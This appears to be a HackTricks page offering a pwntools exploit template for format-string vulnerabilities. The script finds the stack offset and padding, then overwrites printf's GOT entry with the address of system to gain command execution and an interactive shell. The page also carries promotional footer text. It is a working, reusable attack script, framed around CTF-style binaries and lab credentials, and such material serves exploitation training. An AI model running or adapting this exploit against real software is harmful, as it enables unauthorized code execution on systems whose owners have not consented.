9.3 KiB
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Format Strings Template
from pwn import *
from time import sleep
####################
#### CONNECTION ####
####################
# Define how you want to exploit the binary
LOCAL = True
REMOTETTCP = False
REMOTESSH = False
GDB = False
# Configure vulnerable binary
LOCAL_BIN = "./tyler"
REMOTE_BIN = "./tyler" #For ssh
# In order to exploit the format string you may need to append/prepend some string to the payload
# configure them here
PREFIX_PAYLOAD = b""
SUFFIX_PAYLOAD = b""
NNUM_ALREADY_WRITTEN_BYTES = 0
MAX_LENTGH = 999999 #Big num if not restricted
print(" ====================== ")
print("Selected options:")
print(f"PREFIX_PAYLOAD: {PREFIX_PAYLOAD}")
print(f"SUFFIX_PAYLOAD: {SUFFIX_PAYLOAD}")
print(f"NNUM_ALREADY_WRITTEN_BYTES: {NNUM_ALREADY_WRITTEN_BYTES}")
print(" ====================== ")
def connect_binary():
global P, ELF_LOADED, ROP_LOADED
if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets
########################################
#### Get format string configuration ###
########################################
def send_payload(payload):
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload)
sleep(0.5)
return P.recv()
def get_formatstring_config():
global P
for offset in range(1,1000):
connect_binary()
P.clean()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
if b"41" in recieved:
for padlen in range(0,4):
if b"41414141" in recieved:
connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
print(recieved)
if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen
else:
connect_binary()
payload = b" " + payload
recieved = send_payload(payload).strip()
# In order to exploit a format string you need to find a position where part of your payload
# is being reflected. Then, you will be able to put in the position arbitrary addresses
# and write arbitrary content in those addresses
# Therefore, the function get_formatstring_config will find the offset and padd needed to exploit the format string
offset, padlen = get_formatstring_config()
# In this template, the GOT of printf (the part of the GOT table that points to where the printf
# function resides) is going to be modified by the address of the system inside the PLT (the
# part of the code that will jump to the system function).
# Therefore, next time the printf function is executed, system will be executed instead with the same
# parameters passed to printf
# In some scenarios you will need to loop1 more time to the vulnerability
# In that cases you need to overwrite a pointer in the .fini_array for example
# Uncomment the commented code below to gain 1 rexecution extra
#P_FINI_ARRAY = ELF_LOADED.symbols["__init_array_end"] # .fini_array address
#INIT_LOOP_ADDR = 0x8048614 # Address to go back
SYSTEM_PLT = ELF_LOADED.plt["system"]
P_GOT = ELF_LOADED.got["printf"]
#log.info(f"Init loop address: {hex(INIT_LOOP_ADDR)}")
#log.info(f"fini.array address: {hex(P_FINI_ARRAY)}")
log.info(f"System PLT address: {hex(SYSTEM_PLT)}")
log.info(f"Printf GOT address: {hex(P_GOT)}")
connect_binary()
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5)
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
format_string.write(P_GOT, SYSTEM_PLT)
format_string.execute_writes()
# Now that printf function is executing system you just need to find a place where you can
# control the parameters passed to printf to execute arbitrary code.
P.interactive()
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Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
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Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks submitting PRs to the hacktricks github repo.
Support HackTricks and get benefits!
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks submitting PRs to the hacktricks github repo.